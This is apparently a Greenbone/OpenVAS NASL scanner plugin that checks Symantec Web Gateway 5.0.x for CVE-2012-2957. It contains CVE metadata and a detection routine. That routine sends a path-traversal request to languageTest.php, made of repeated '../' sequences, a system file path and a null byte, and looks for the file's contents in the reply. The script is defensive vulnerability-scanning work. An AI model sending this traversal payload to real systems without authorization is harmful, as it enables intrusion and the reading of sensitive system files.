Symantec Web Gateway Local File Manipulation Authentication Bypass Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:symantec:web_gateway";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103523");
  script_cve_id("CVE-2012-2957");
  script_tag(name:"cvss_base", value:"7.2");
  script_tag(name:"cvss_base_vector", value:"AV:L/AC:L/Au:N/C:C/I:C/A:C");
  script_version("2023-07-25T05:05:58+0000");
  script_name("Symantec Web Gateway Local File Manipulation Authentication Bypass Vulnerability");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-07-24 10:16:58 +0200 (Tue, 24 Jul 2012)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("gb_symantec_web_gateway_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("symantec_web_gateway/installed");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/54429");

  script_tag(name:"solution", value:"Vendor updates are available. Please see the references for more
  information.");

  script_tag(name:"summary", value:"Symantec Web Gateway is prone to a local authentication-bypass
  vulnerability");

  script_tag(name:"impact", value:"A attacker can exploit this issue by manipulating certain local files to bypass
  authentication and gain unauthorized privileged access to the application. Successful exploits may lead to other attacks.");

  script_tag(name:"affected", value:"Symantec Web Gateway versions 5.0.x.x are vulnerable.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! dir = get_app_location( cpe:CPE, port:port ) )
  exit( 0 );

if( dir == "/" )
  dir = "";

files = traversal_files( "Linux" );

foreach pattern( keys( files ) ) {

  file = files[pattern];
  url = dir + '/spywall/languageTest.php?&language=' + crap( data:"../", length:6*9 ) + file + '%00';

  if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 0 );